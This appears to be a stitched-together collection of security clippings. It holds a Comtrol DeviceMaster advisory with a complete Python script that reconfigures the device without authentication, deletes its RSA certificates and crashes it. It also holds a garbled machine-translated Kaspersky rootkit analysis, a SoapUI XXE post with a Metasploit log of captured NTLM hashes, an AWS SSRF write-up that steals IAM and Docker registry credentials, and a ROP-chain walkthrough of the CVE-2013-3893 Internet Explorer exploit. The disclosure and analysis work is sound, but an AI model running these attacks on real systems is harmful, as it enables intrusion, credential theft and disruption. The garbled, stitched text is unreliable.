This device exposes a lot of operational functionality, including SNMP, and
many web forms for controlling configuration and provisioning without
authentication:

setMailConfig

setSecurityConfig

setRfs1006Config

setPortConfig

uploadFile

deleteFile

Note: During testing, it was also noticed that even with various security
settings turned on, there were still many operations left “unprotected”. This
has not been confirmed in all scenarios, though, but enabling security options
such as password protection may mitigate these bugs.

The example consequences for having the remote ability to modify these
resources are as follows:

  * Change who gets email notifications about the device or turn all notifications off
  * Enable / Disable security options such as “Secure Data Mode” and “Secure Config Mode”
  * Enable TCP over any of the device’s serial ports
  * Modify \(or delete\) RSA keys and certificates

Once the device’s configuration is modified, the changes to take effect upon
reboot.

Furthermore, it was discovered that sending a long “EHostName” parameter to
the setMailConfig resource will cause the device to stop responding to
requests to the web service, and interestingly the telnet service as well
\(although SSH still worked\). This is likely the the result of memory
corruption, but a debugger was not attached to verify. It requires a hard
reboot \(eg. disconnect power and reconnect power\) in order to restore
functionality.

Using these 2 bugs in combination:

Bug \#1: _Multiple Resources Modifiable without Authentication_

Bug \#2: _Device Memory Corruption via Malformed Web Parameter_

A user can assume remote control of the device and force the operator to
perform a hard reboot in order to either make changes to device take effect or
disrupt operations.

**Exploit**

A python3 script \(comtrol\_control.py\) has been created that can be used to
demonstrate these vulnerabilities. It exercises the resources the user has
control over with the exception of setRfs1006Config and uploadFile. Both of
these, like the others, are trivial to do manually via the unprotected area of
device’s web interface. For example, you can easily upload keys using the
buttons below.

<img src='img/Temp2_7199.png' width='300' height='98' alt='key and certificate
management' />

**Notes**

Secure Data Mode

“TCP connections that carry data \[….\] are encrypted using SSL or TLS
security protocols” e.g. SSL and SSH enabled, Telnet disabled

Secure Config Mode

“Unencrypted access to administrative and diagnostic functions are disabled”
e.g. SMTP and SNMP disabled, RedBoot disabled

**Vulnerable Version**

Comtrol DeviceMaster RTS DB9M 2-Port 1E, default firmware: SocketServer 7.11,
and latest firmware: SocketServer 9.36

**Vendor Response**

We got quite a few different response from this vendor ranging from, there is
no vulnerability \(in February 2015\), to we forwarded the vulnerability \(in
March 2015\) to a technical person and then finally to \(in July 2015\):

The \[encryption\] key doesn’t seem to work any longer so we are unable to
open the file.

At this point I would say to publish ‘as is’ for the version of firmware that
was tested. That version would have been updated and the current version has
no known vulnerabilities at this time.

So as far we know, the product using the latest firmware is no longer
vulnerable to these issues – though no patch that we could locate have been
released nor any mentioning that these vulnerabilities have been corrected.

\#\!/usr/bin/python \# comtrol\_control.py \# import sys import socket from
httplib2 import Http from urllib.parse import urlencode port = 443 ssl = 0
goforms = "/goforms/" \# \# these are best ones to demonstrate,
setRfc1006Config and uploadFile are unprotected as well \# mailtoUrl = goforms
+ "setMailConfig" unsecureUrl = goforms + "setSecurityConfig" serialUrl =
goforms + "setPortConfig" deletecertUrl = goforms + "deleteFile" mailtoData =
\{"EmailIP":"1.2.3.4", "EHostName":"test", "ERcptName":"receiver@mail.com",
"ESendName":"sender@mail.com"\} \# \# options will be disabled if not
explicitly set in request \# this will ensure telnet/ssh, SNMP are enabled,
but disable the other options \(secure data and config modes\) \# eg.
telnet=enabled, ssh=disabled, http=enabled, https=disabled \# unsecureData =
\{"TelnetEnable":"0", "SnmpEnable":"0"\} serialData = \{"portNum":"0",
"portEnable":"1", "listenEnable":"1"\} \# \# 0 = rsa key pair, 1 = rsa server
cert, 2 = diffie-hellman key pair, 3 = client auth cert \# deletecertData =
\{"fileIndex":"1"\} def main\(\): if\(len\(sys.argv\) < 3\): print\("Usage: %s
<target> <operation> \[ssl\]\n" % sys.argv\[0\]\) print\("Operations:\n"\)
print\("mailto - Change email recipient"\) print\("unsecure - Disable both
secure modes"\) print\("serial - Enable TCP over serial port 1"\)
print\("deletecert - Delete RSA certificate"\) print\("dos - Device DoS
\(needs hard reboot\)"\) return target = sys.argv\[1\] operation =
sys.argv\[2\] if\(operation == "mailto"\): url = mailtoUrl data = mailtoData
elif\(operation == "unsecure"\): url = unsecureUrl data = unsecureData
elif\(operation == "serial"\): url = serialUrl data = serialData
elif\(operation == "deletecert"\): url = deletecertUrl data = deletecertData
elif\(operation == "dos"\): url = mailtoUrl \# \# if you're connected to the
diagnostic port 4607, it will keep running but most \# everything else will go
offline and if you disconnect, you can't reconnect \# \# likely memory
corruption, but who's got a debugger for this thing? \# perhaps here:
http://www.direktronik.se/pdfer/i24-0611.pdf \# data = \{"EHostName":"B" \*
4573\} else: print\("\nError: '%s' is not a valid operation\n" % operation\)
return if\(len\(sys.argv\) > 3\): request = "https://" + target + url else:
request = "http://" + target + url try: print\("\nSending Request: %s\n" %
request\) web = Http\(timeout=5, disable\_ssl\_certificate\_validation=True\)
response = web.request\(request, "POST", urlencode\(data\)\) except Exception
as error: print\("Error: %s \(If using dos option, this is normal\)" % error\)
return print\("Success\! Now we must wait for a reboot.\n"\) print\("Although,
if you wish for the these changes to take affect sooner, use 'dos' :-\)\n"\)
\#print\("Response:\n%s\n" % response\) return def do\_ssl\(target, port\):
connection = http.client.HTTPSConnection\(target, port\) return connection if
\_\_name\_\_ == "\_\_main\_\_": main\(\)

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108 | \#\!/usr/bin/python\# comtrol\_control.py\# import sysimport socketfrom httplib2 import Httpfrom urllib.parse import urlencode port = 443ssl = 0 goforms = "/goforms/" \#\# these are best ones to demonstrate, setRfc1006Config and uploadFile are unprotected as well\#mailtoUrl = goforms + "setMailConfig"unsecureUrl = goforms + "setSecurityConfig"serialUrl = goforms + "setPortConfig"deletecertUrl = goforms + "deleteFile" mailtoData = \{"EmailIP":"1.2.3.4", "EHostName":"test", "ERcptName":"receiver@mail.com", "ESendName":"sender@mail.com"\}\#\# options will be disabled if not explicitly set in request\# this will ensure telnet/ssh, SNMP are enabled, but disable the other options \(secure data and config modes\)\# eg. telnet=enabled, ssh=disabled, http=enabled, https=disabled\#unsecureData = \{"TelnetEnable":"0", "SnmpEnable":"0"\}serialData = \{"portNum":"0", "portEnable":"1", "listenEnable":"1"\}\#\# 0 = rsa key pair, 1 = rsa server cert, 2 = diffie-hellman key pair, 3 = client auth cert\#deletecertData = \{"fileIndex":"1"\} def main\(\): if\(len\(sys.argv\) < 3\): print\("Usage: %s <target> <operation> \[ssl\]\n" % sys.argv\[0\]\) print\("Operations:\n"\) print\("mailto - Change email recipient"\) print\("unsecure - Disable both secure modes"\) print\("serial - Enable TCP over serial port 1"\) print\("deletecert - Delete RSA certificate"\) print\("dos - Device DoS \(needs hard reboot\)"\) return target = sys.argv\[1\] operation = sys.argv\[2\] if\(operation == "mailto"\): url = mailtoUrl data = mailtoData elif\(operation == "unsecure"\): url = unsecureUrl data = unsecureData elif\(operation == "serial"\): url = serialUrl data = serialData elif\(operation == "deletecert"\): url = deletecertUrl data = deletecertData elif\(operation == "dos"\): url = mailtoUrl \# \# if you're connected to the diagnostic port 4607, it will keep running but most \# everything else will go offline and if you disconnect, you can't reconnect \# \# likely memory corruption, but who's got a debugger for this thing? \# perhaps here: http://www.direktronik.se/pdfer/i24-0611.pdf \# data = \{"EHostName":"B" \* 4573\} else: print\("\nError: '%s' is not a valid operation\n" % operation\) return if\(len\(sys.argv\) > 3\): request = "https://" + target + url else: request = "http://" + target + url try: print\("\nSending Request: %s\n" % request\) web = Http\(timeout=5, disable\_ssl\_certificate\_validation=True\) response = web.request\(request, "POST", urlencode\(data\)\) except Exception as error: print\("Error: %s \(If using dos option, this is normal\)" % error\) return print\("Success\! Now we must wait for a reboot.\n"\) print\("Although, if you wish for the these changes to take affect sooner, use 'dos' :-\)\n"\) \#print\("Response:\n%s\n" % response\) return def do\_ssl\(target, port\): connection = http.client.HTTPSConnection\(target, port\) return connection if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---

# Google Translate

**Created:**| _5/15/2011 7:48:24 PM_  
---|---  
**Updated:**| _5/15/2011 7:53:57 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis LOLZ Mac-hacking_  
  

# The new 64-bit rootkit and FakeAV under MacOS together?

Zakorzhevsky Vyacheslav  

The expert from Kaspersky Lab  
published May 13, 2011, 17:46 MSK  
Tags: Rootkits

0.5

Recently in the virus laboratory has got a very interesting samplov -
daunloader, containing the two drivers, downloader and fake anti-virus, as a
platform for PC, and under the MacOS. This malicious program is downloaded and
installed on a user's machine using an exploit-pack "BlackHole Exploit Kit".
The latter, in turn, contains exploits vulnerabilities in the JRE
\(CVE-2010-0886, CVE-2010-4452, CVE-2010-3552\) and PDF.

Both the driver - typical of rootkits with rich functionality. One of them -
32-bit, and the second - a 64-bit. Feature of the latter consists in the fact
that he signed the so-called test digital signature. If Windows, Vista, and
the family above, was loaded with the key 'TESTSIGNING', then the application
will download the driver signed a test signature. This is a special loophole
that has left Microsoft for driver developers, so they can test their
creations. It's the attackers took advantage - they perform the command
'bcdedit.exe-set TESTSIGNING ON', which allows them to run your driver without
a legal signature.

What is said below applies to both rootkits - their functionality is
identical, differing only in a platform. If the driver is successfully loaded
and running in the system, getting rid of him worth a lot. The rootkit blocks
run drivers relating to anti-rootkit and the AV-vendors' products. For this
purpose, lists with names of specific files, drivers, and line on which to
search for in the Security section of the array DataDirectory uploaded image.
If you detect a rootkit boot "untrusted" driver, then the image of the last
change bytes at the entry point, which excludes it started correctly.

  
  
**Fragment of a rootkit, which contains the line, on which the** **  
****anti-lock download driver**

"Head" application rootkit protection by intercepting ZwOpenProcess /
ZwOpenThread in SDT \(on 32-bit versions of Windows\) and install the object
manager callback \`s access to" trusted "applications. Also, monitor the file
system, by connecting to the stacks of file systems and registry - by setting
the registry callback \`s.

This rootkit - another live example \(after TDSS\) that for the implementation
of rootkit functionality to the 64-bit platforms do not need to crawl Patch
Guard-as well.

Sam daunloader written in C + +, nothing is protected. Its main task - to
install and run the appropriate driver \(32 - or 64 - bit\), download and run
the file on one of URL \`s. The most interesting that one of the links located
Hoax.OSX.Defma.f, about which we recently wrote. And most important -
malicious program tries to run it ... under Windows \(\!\). Apparently, the
developers of the latest anti-virus false under MacOS it actively spread
through intermediaries. And the latter, in turn, not much understand what is
being offered to install on users' computers.

  
  
**Malicious code fragment that performs the download and run the file**

Kaspersky Lab has successfully detects and cleans downloader Trojan-
Downloader.Win32.Necurs.a and appropriate rootkit Rootkit.Win32.Necurs.a /
Rootkit.Win64.Necurs.a.

# bash$ cd /home/c0ntex: Smuggling hash in bars of soap

**Created:**| _11/10/2011 3:17:34 PM_  
---|---  
**Updated:**| _11/10/2011 3:17:34 PM_  
**Author:**| __  
**Tags:**| _soap code-injection_  
  

### Smuggling hash in bars of soap

was using SoapUI to do some web service testing this week and for the first
time ever, I noticed an interesting issue with it. Usually when manipulating
requests I will chain through various proxies / tools like Burp or WebScarab,
making it easier to manipulate or fuzz. This time I modified the XML in SoaPUI
manually as I was having to change some things that were easier done there.

  
While testing external entities \(first time directly in a SoapUI project
rather than in-line\) to try and grab a file from the server, I noticed
something weird when reading the event log. Sure there was a soap error about
reading the contents of boot.ini :\) which was wonderful, but something wasn't
right.  
  
Here is the content of the boot.ini file from the Windows 2003 Server as it
appeared in the logs:

> \[boot loader\]
>> timeout=5  
> default=multi\(0\)disk\(0\)rdisk\(0\)partition\(1\)\WINDOWS  
> \[operating systems\]  
> multi\(0\)disk\(0\)rdisk\(0\)partition\(1\)\WINDOWS="Microsoft Windows XP
> Professional" /fastdetect
> Doesn't look right...... What happened is that SoapUI executed the malicious
> XML on my local machine when performing the validation of my XML. And
> that...... mmm..... just should not happen.
  
Here is an example PoC:

  

<img src='img/Temp2_10097.png' />

  

When the user runs the test case in the malicious SoapUI project, the above
maliciousness will actually be run on the local box. Shortly after which you
should see this in your  
metasploit window:

> msf auxiliary\(smb\) >  
> \[\*\] Empty hash captured from 10.0.0.169:1052 captured, ignoring ...  
> \[\*\] Thu Apr 07 14:41:18 +0100 2011  
> NTLMv1 Response Captured from 10.0.0.169:1052  
> WINXPLOIT\luser OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1  
> LMHASH:33g58ac125fb99972a1f387f07ae757utf5ef6eb6ff6e04d  
> NTHASH:679431b82a81d6e0b601312564b6e7153dc72f05c8ef02a1
Job is a good'un, beware them dragonz.

# Abusing the AWS metadata service using SSRF vulnerabilities – Christophe
Tafani-Dereeper

**Created:**| _6/29/2017 4:14:45 PM_  
---|---  
**Updated:**| _6/29/2017 4:14:45 PM_  
**Author:**| __  
**Tags:**| _web-app-sec aws_  
  

  

# Abusing the AWS metadata service using SSRF vulnerabilities

 18 June 2017

I recently worked on a small toy project to execute untrusted Python code in
Docker containers. This lead me to test several online code execution engines
to see how they reacted to various attacks. While doing so, I found several
interesting vulnerabilities in the code execution engine developed by
Qualified, which is quite widely used including by websites like CodeWars or
InterviewCake. The combination of being able to run code with network access
and the fact that the infrastructure was running in Amazon Web Services lead
to an interesting set of vulnerabilities which we present in this post.

We start by presenting several vulnerabilities I found in the Qualified code
execution engine via one of its customers, InterviewCake. Then, we talk about
the implications of a specific one: a SSRF vulnerability in a service running
on AWS. I won’t cover the basics of what is a SSRF vulnerability, as there are
already great resources available about it \(here, here or here\). In one
sentence, it’s a vulnerability that allows you to have an application initiate
a network connection on your behalf.

_Note: in the context of an online code execution engine, it’s arguable
whether the term SSRF is a good fit, since it allows network connections on
purpose. However, I chose to stick to the term because the vulnerability I
demonstrate is applicable to any application running on AWS vulnerable to a
SSRF._

_Note 2: even if I’m talking about InterviewCake in this post, I want to make
it clear that there is no security issue on their side, and that the one I’ve
found most likely doesn’t represent any risk for them._

## The vulnerability

If you browse to a random question page of InterviewCake, you’ll find at the
bottom of the page a small zone where you can type and execute code.

<img src='img/Temp2_456.png' width='853' height='347' />

We can following Python code can be used to run any bash command:

[code]

    **import** os
    os.system("my command")
[/code]

By digging a little bit, we can see that the hostname changes at every run,
and that the  _init_ process runs under the following control groups:

[code]

    9:perf_event:**/docker/** f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 8:memory:**/docker/** f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 7:hugetlb:**/docker/** f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 
    ...
[/code]

Based on these two information, it seems pretty likely that the code is being
run in Docker containers. The containers seem to have access to the Internet,
so we can easily check what their public IP is, e.g. using the very handy
IfConfig.co service.

[code]

    **import** os
    os.system("curl ifconfig.co")
[/code]

> “
> 107.20.17.162
If we make a reverse DNS lookup, we can see that this IP belongs to AWS EC2:

[code]

    $ nslookup 107.20.17.162
    Non-authoritative answer:
    162.17.20.107.in-addr.arpa name = **ec2-107-20-17-162.compute-1.amazonaws.com**.
[/code]

For those who are not familiar with EC2, it’s a service similar to
DigitalOcean which allows you to spawn up virtual machines in the cloud.

## Exploitation

AWS EC2 has a feature called the **Instance Metadata Service** \(official
documentation\). This enables any EC2 instance to access a REST API running on
169.254.169.254, which returns data about the instance itself. Some examples
include the instance name, the instance image \(AMI\) ID, and a bunch of other
interesting things.

Since our code seems to run on an EC2 instance \(or to be more specific, in a
Docker container  _on_ an EC2 instance\), it can access this API. Let’s see
what we can get from it.

[code]

    **import** os
    
    **def** get_endpoint(endpoint):
        os.system("curl http:/169.254.169.254" + endpoint)
        print()
    
    print("[*] AMI id")
    get_endpoint("/latest/meta-data/ami-id")
    
    print("[*] Security credentials")
    get_endpoint("/latest/meta-data/iam/security-credentials/")
    
    print("[*] User script")
    get_endpoint("/latest/user-data/")
    
[/code]

We get the following output:

[code]

    **[*] AMI id**
    ami-246cc332
    
    **[*] Security credentials**
    ecsInstanceRole
    
    **[*] User script**
    aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
    aws s3 cp s3://ecs-conf/docker.json /home/ec2-user/.docker/config.json
    aws s3 cp s3://ecs-conf/cloudwatch.credentials /etc/cloudwatch.credentials
    ...
    echo "pulling latest runner image"
    docker pull codewars/runner-server:latest
    ...
    nrsysmond-config --set license_key=999b5f6[...]ac
    
    
[/code]

Let’s split it up.

#### AMI id

This is the identifier AMI \(Amazon Machine Image\) used by the host machine.
It seems to be a private one – nothing very exciting.

#### Security credentials

This is the list of IAM roles attached to the machine. IAM \(which stands for
Identity Access Management\) is the AWS service allowing you to manage users,
roles and permissions. We see here that a single role, **ecsInstanceRole** ,
is attached to it and can therefore access the credentials attached to this
role using the Metadata API. That’s a mechanism that allows you to attach
roles to  _machines_ instead of hardcoding AWS API keys into your application
code. We can query the API to get the associated credentials:

[code]

    get_endpoint("/latest/meta-data/iam/security-credentials/ecsInstanceRole")
[/code]

[code]

    {
     "Code" : "Success",
     "LastUpdated" : "2017-03-26T09:59:42Z",
     "Type" : "AWS-HMAC",
    ** "AccessKeyId" : "ASIAIR[redacted]XQ",
     "SecretAccessKey" : "42oRmJ[redacted]K2IRR",
     "Token" : "FQoDYXdzEOv//////[redacted]",**
     "Expiration" : "2017-03-26T16:29:16Z"
    }
    
    
[/code]

Using those credentials, the application \(or the attacker\) can use the AWS
API to execute any action that the role **ecsInstanceRole** allows. Here _ECS_
stands for _EC2 Container Service_. It’s \(yet\) another AWS service that
allows you to easily run Docker containers in the cloud and abstract how and
on what machines they are run.

Now, we are obviously interested in understanding what access level those
credentials give us. If we dig a bit into the AWS documentation, we easily
find that  _ecsInstanceRole_ is a default IAM role with the following policy
attached to it:

[code]

    {
     "Version": "2012-10-17",
       "Statement": [
       {
         "Effect": "Allow",
         "Action": [
           "ecs:CreateCluster",
           "ecs:DeregisterContainerInstance",
           "ecs:DiscoverPollEndpoint",
           "ecs:Poll",
           "ecs:RegisterContainerInstance",
           "ecs:StartTelemetrySession",
           "ecs:Submit*",
           "ecr:GetAuthorizationToken",
           "ecr:BatchCheckLayerAvailability",
           "ecr:GetDownloadUrlForLayer",
           "ecr:BatchGetImage",
           "logs:CreateLogStream",
           "logs:PutLogEvents"
         ],
       "Resource": "*"
       }
     ]
    }
[/code]

This therefore allows us to do a bunch of interesting things including
creating ECS clusters, removing EC2 instances from a cluster, writing in the
logs of the application, etc.

#### User script

This endpoint returns a user-defined script which is run every time a new EC2
instance is launched for the first time. This script is typically used for
basic provisioning such as updating packages, running a service, and obviously
sometimes for storing sensitive information \(even if that’s discouraged\).

I’ve copy pasted below the interesting bits of the script:

[code]

    aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
    ...
    echo "pulling latest runner image"
    docker pull codewars/runner-server:latest
    ...
    nrsysmond-config --set license_key=**999b5f6[...redacted...]ac**
[/code]

The last line leaks a NewRelic license key.

The first commands downloads a configuration file from the **ecs-conf** S3
bucket. Using the AWS CLI tool, we notice that even if the contents of the
bucket cannot be listed, the file **ecs.config** is even publicly accessible.

[code]

    **root@kali** :**~** # aws s3 cp s3://ecs-conf/ecs.config ecs.config
    download: s3://ecs-conf/ecs.config to ./ecs.config
    **root@kali** :**~** # cat ecs.config
    
    ECS_ENGINE_AUTH_TYPE=dockercfg
    ECS_ENGINE_AUTH_DATA={"https://index.docker.io/v1/":{"auth":"M30s[...redacted...]hV=","email":"deploy@[...redacted...].co"}}
[/code]

The **auth** parameter is a base-64 encoded string which decodes to
**codewarsdeploy:somepassword** \(the password has been redacted\) and allows
us to login to the private Docker registry of Qualified\! \(Strive being the
former name of the company\)

This means that we can retrieve the Docker image **codewars/runner-server** ,
see what’s inside, include a backdoor / whatever malicious software in it, and
push it back to the registry. Our malicious code would then run each time a
code execution happens on Qualified’s code execution engine, meaning: every
time someone submits a solution on InterviewCake, a challenge on CodeWars,
etc.

## Conclusion

I reported the issue to Jake from Qualified – the response was exemplary, and
the vulnerability was fixed in a matter of days.

In you are running an application on AWS, it’s essential you know about the
Metadata API because any kind of SSRF in your application can have dramatic
consequences. In order to limit those, it would be a good idea to follow the
following principles.

  1. Do not store any sensitive data in your provisioning script \(what AWS calls an  _user script_\).
  2. If your machines need to have an IAM role attached to them, give it the absolute minimal set of permissions. You can use the IAM Policy Simulator to make sure your set of permissions is behaving the way you intend it to.
  3. If you are not using the Metadata API, firewall it or allow only the root user to access it \(example with iptables\).

If you look on HackerOne, you’ll find several reports mentioning similar
vulnerabilities: \#53088 \($300\), \#158016 \($50\), \#128685, and \#53088
\($1000\). Note that the problem is not specific to AWS; OpenStack and Google
Cloud, for instance, have similar issues. However, Google requires that all
the requests to its metadata service include a specific HTTP header, meaning
that an attacker in the sole control of the request URL could not access it
unless being able to perform some kind of header injection.

Additional resources if you’d like to read more on the subject:

  * AWS vulnerabilities and the attacker’s perspective, by RhinoLabs
  * EC2’s most dangerous feature
  * Metasploit module to gather instance metadata from a compromised machine

Thank you for reading\!

 Post Views:  7,655

 Categories security  Tags security

  

# Anatomy of an exploit – inside the CVE-2013-3893 Internet Explorer zero-day – Part 2 | Naked Security
**Created:**| _10/25/2013 7:52:41 AM_  
---|---  
**Updated:**| _10/25/2013 7:52:41 AM_  
**Author:**| __  
**Tags:**| _Exploit reversing vulnerability windows environment_  
  

# **A** natomy of an exploit - inside the CVE-2013-3893 Internet Explorer
zero-day - Part 2****

Join thousands of others, and sign up for Naked Security's newsletter

GO TO PART: ←Prev  1  **2**

<img src='img/Temp2_768.png' width='170' height='170' />In **Part One** of
this article, we looked at how the Internet Explorer \(IE\) exploit known as
CVE-2013-3893 got its foot in the door  of Windows, if you will pardon the
pun**.**

In **Part Two** , we are going to follow the exploit as it takes over IE,
suppresses Data Execution Prevention \(DEP\), and reaches a point where it can
run pretty much any program code it likes just as if you had downloaded it
yourself**.**

We think this exploit makes a good example for study, because:

  * It can theoretically be used against IE from version 6 to 11**.**
  * It works despite DEP and ASLR \(Address Space Layout Randomisation\)**.**
  * It is already widely circulated, so we aren't giving away secrets**.**
  * The vulnerability on which it relies is already patched**.**

If you haven't yet read **Part One** , we suggest that you do so now , as it
explains where we will be starting this time, and how we got here**.**

#### The story so far****

Our test system is running IE 9 on Windows 7 32-bit, and at the end of Part
One, our attackers had:

  * \[1\] Used malicious Javascript to fill known memory addresses with chosen binary data**.**
  * \[2\] Loaded a known DLL at a fixed memory address, despite ASLR**.**
  * \[3\] Crashed IE in such a way as to cause it to jump to a memory location of their choice from \[1\]**.**

Visually, our attackers are here:

<img src='img/Temp2_760.png' />

#### Controllable knowns****

As we explained in Part One, the attackers used JavaScript to allocate and
free up a series of text strings to provoke a use-after-free bug in IE**.**

The bug caused Microsoft's HTML renderer to use untrusted text string data
from the malicious JavaScript to tell IE where to jump in memory, leaving the
crooks with three "controllable knowns":

  * Execution is about to jump to the memory address stored in location 0x121212D6, shown in yellow**.**
  * The addresses shown in grey, from 0x12121212 onwards, are precisely controlled by a text string in the untrusted JavaScript**.**
  * The DLL` hxds.dll`, part of Office, is loaded into executable memory at the unrandomised address 0x51BD0000**.**

#### Deciding where to go next****

The attackers are about to jump to the address specified in 0x121212D6, and
they control that value directly from their JavaScript**.**

With the memory layout shown above, where 0x12121212 has been written
repeatedly, the attackers can't actually get control of IE**.**

That's because the address stored in 0x121212D6 \(shown in yellow above\) is
in heap memory that is protected by DEP, and provokes an access violation if
it executed:

<img src='img/Temp2_765.png' />

But if the crooks choose an address inside `hxds.dll`, they will reach memory
marked a executable, and they will know what code is going to execute next,
because the address space of that DLL isn't randomised**.**

In the actual exploit, the address stored at location 0x121212D6 \(the yellow
bytes below\) is 0x51BD28D4, as shown here:

<img src='img/Temp2_769.png' />

→ Don't forget that the x86 and x64 Intel CPUs used in Windows computers are
_little endian_**.** That means that the least significant byte of a multi-
byte value is stored at the lowest memory address, and so on**.** So the
32-bit value 0xC001D00D would actually appear in memory as the bytes 0D D0 01
0C\), just as 0x51BD28D4 appears above as D4 28 BD 51**.**

If we disassemble the code at the address chosen by the criminals, we get
this:

[code]

    MOV  EAX, [ECX] ; Fetch the contents of the 
                    ; memory address in ECX,
                    ; where ECX is controlled
                    ; by the attackers
    CALL [EAX+8]    ; Call the location specified 
                    ; in the address 8 bytes past that**.**
    
[/code]

This time, the two lines of code above cause the following chain of execution:

<img src='img/Temp2_763.png' />

The value of ECX above was forced to the value 0x12121202 by the attacker's
malicious JavaScript, and the contents of the memory block at and around the
addresses shown above \(from 0x1212111E0 to 0x12121310\) were set up by the
crooks in the same way**.**

At the moment, the attackers control the instruction pointer \(EIP\), but
can't yet aim it at their own machine code because of DEP**.**

The next best thing, then, is to control the stack pointer \(ESP\), because
the stack lets you set up calls to system functions**.**

#### Pivoting the stack****

The value chosen for the destination of the `CALL [EAX+8]`, shown in green
above, is critical to the rest of the exploit, and gives the attackers control
of the stack by means of what is called a _stack pivot_**.**

The pivot for this exploit can be seen by disassembling at 0x51BE4A41:

[code]

    XCHG EAX,ESP  ; Put EAX into ESP, and vice versa
    RET
    
[/code]

A stack pivot is just a fancy name for any machine code instruction sequence
that sets ESP to an attacker-controlled value: it could be a `MOV`, a `PUSH`
followed by `POP`, or, as here, an `XCHG` instruction that swaps the values in
EAX and ESP**.**

The attackers can now use a trick called Return Oriented Programming, or ROP,
to control the flow of code execution indirectly**.**

That's because the stack now consists of the bytes shown in grey here:

<img src='img/Temp2_764.png' />

Converted from little endian notation and listed as a vertical stack of 32-bit
addresses and their contents, we get this:

[code]

    12121212:  51C3B376  <--ESP points here after pivot
    12121216:  51C2046E
    1212121A:  51BE4A41
    1212121E:  51C2046E
    12121222:  51BD10B8
    12121226:  51C0E455
    1212122A:  51C3B376
    1212122E:  51BD71F4
    12121232:  121212DA
    12121236:  12121212
    1212123A:  00001000
    1212123E:  00000040
    12121242:  12120A0C
    12121246:  51C3B376
    1212124A:  51C3B376
    1212124E:  51C3B376
    **.** . . . 
    
[/code]

Thanks to the stack pivot, the attackers are about to execute a `RET`
instruction with the stack pointer aimed at the topmost value in the list
above**.**

Since `RET`, or "return from subroutine", pops the value off the top of the
stack and jumps to it, the attackers will now leap back into a carefully
chosen instruction sequence inside `hxds.dll`**.**

In fact, you'll notice that the topmost eight values on the stack are all
addresses inside `hxds.dll`, so if each of the instruction sequences pointed
to by those addresses ends with a `RET`, the attackers will execute a
stitched-together series of instructions of their choice**.**

That's not as convenient as simply putting the machine code they want right in
their exploit data, but it's the next best thing, and it's where ROP gets its
name**.**

→ In exploit literature, each instruction-snippet-plus-RET pointed to by a
list of ROP addresses is known as a _gadget_**.** A string of ROP gadgets
makes a ROP chain or program**.** ROP programs typically end up following a
Byzantine execution sequence, leaping hither and thither in a DLL that hasn't
had its location randomised**.** This apparent complexity is irrelevant to the
CPU, of course, which simply goes where it is told, and does what it is
instructed**.**

#### The ROP gadget chain****

Here's what we get if we disassemble the gadgets at each of the addresses on
the stack:

<img src='img/Temp2_767.png' />

The chart looks rather complex, but the results are surprisingly
straightforward:

  * \[1\] The first step simply returns to the next ROP gadget, like a `NOP` \(no-operation\) instruction**.**
  * \[2\] The `POP EDI` in step \[2\] serves merely to skip over the next gadget address \(the already-used stack pivot\); the value stored in EDI is irrelevant**.**
  * \[3\] This time the `POP` instruction loads EDI with the data value 0x51BD10B8 off the stack, and that value is important**.**
  * \[4\] Now EAX is loaded with the value stored at 0x51BD10B8**.** The `POP EDI` is redundant, but couldn't be avoided by the attackers, who have to work with the gadget sequences available in `hxds.dll`**.**
  * \[5\] The address loaded into EAX is used as a function pointer, and called by the ROP program by `PUSH`ing it on the stack and then jumping to it with a `RET` instruction**.**

Notice that when the final `RET` in step \[5\] is processed, the top five
values on the stack, denoted \[P\] in the chart above, are as follows:

[code]

    12121232:  121212DA
    12121236:  12121212
    1212123A:  00001000
    1212123E:  00000040
    12121242:  12120A0C
    
[/code]

That leaves three vital questions: what is the memory address stored in
location 0x51BD10B8, why did the attackers choose it, and what are the \[P\]
values for**?**

#### Neutralising DEP****

On our test system, the address stored at location 0x51BD10B8 was 0x759F50AB;
when disassembled, it turns out to be the entry point of the function
`VirtualProtect()` in the core system library `kernel32.dll`:

<img src='img/Temp2_761.png' />

Even though Windows randomises where this function is loaded, in order to make
it hard to find \(for reasons which are about to become obvious\), the
attackers can nevertheless locate it**.**

That's because the variable location of the randomised entry point is saved at
a fixed location in the unrandomised library `hxds.dll`**.**

#### Understanding system calls****

Under 32-bit Windows, system calls are made with the stack set up as follows:

[code]

    [ESP]    -> Return address in calling program
    [ESP+04] -> Parameter 1 passed to system call
    [ESP+08] -> Parameter 2
    [ESP+0A] -> Parameter 3
    [ESP+0C] -> Parameter 4 
    **.** **.** . .  etc.
    
[/code]

→ When preparing for a system call, the parameters are `PUSH`ed onto the stack
in reverse order**.** \(The stack grows upwards, towards lower memory
addresses, in the diagram above**.**\) That makes it easier to support
functions with a variable number of arguments, since the first parameter is
always 4 bytes down the stack; the second 8, and so on, regardless of how many
arguments there are altogether**.**

Now the \[P\] values in the bottom-most section of the ROP chart above can be
decoded, because they are the four parameters passed into, and the return
address from, the function `VirtualProtect()`:

<img src='img/Temp2_766.png' />

This means our attackers are on the point of changing the memory protection
for their exploit data, like this:

<img src='img/Temp2_770.png' />

The memory area they will re-protect is the 4KB block starting at 0x12121212,
which will end up with the protection permissions
PAGE\_EXECUTE\_READWRITE**.**

The memory address 0x12120A0C is used to save the previous protection setting;
the crooks don't have any use for this information \(the exploit doesn't tidy
up after itself\), but the `VirtualProtect()` function won't work without
it**.**

And the return address, 0x121212DA, is the beginning of the memory block shown
in blue below, immediately following the yellow value at 0x121212D6, where the
exploit started off:

<img src='img/Temp2_762.png' />

#### Launching the shellcode****

When our attackers return from `VirtualProtect()`, they will effectively have
regressed the protections in Internet Explorer to be much like they were under
IE 6 on Windows XP2 and earlier**.**

They will no longer need ROP gadgets to execute code snippets inside
`hxds.dll`: their own shellcode, shown in blue above, will run directly out of
heap memory once DEP protection is removed**.**

And because their malicious executable code will run without triggering any
dialog boxes or "are you sure" warnings that would tip off a well-informed
user, they're all set for arbitrary Remote Code Execution**.**

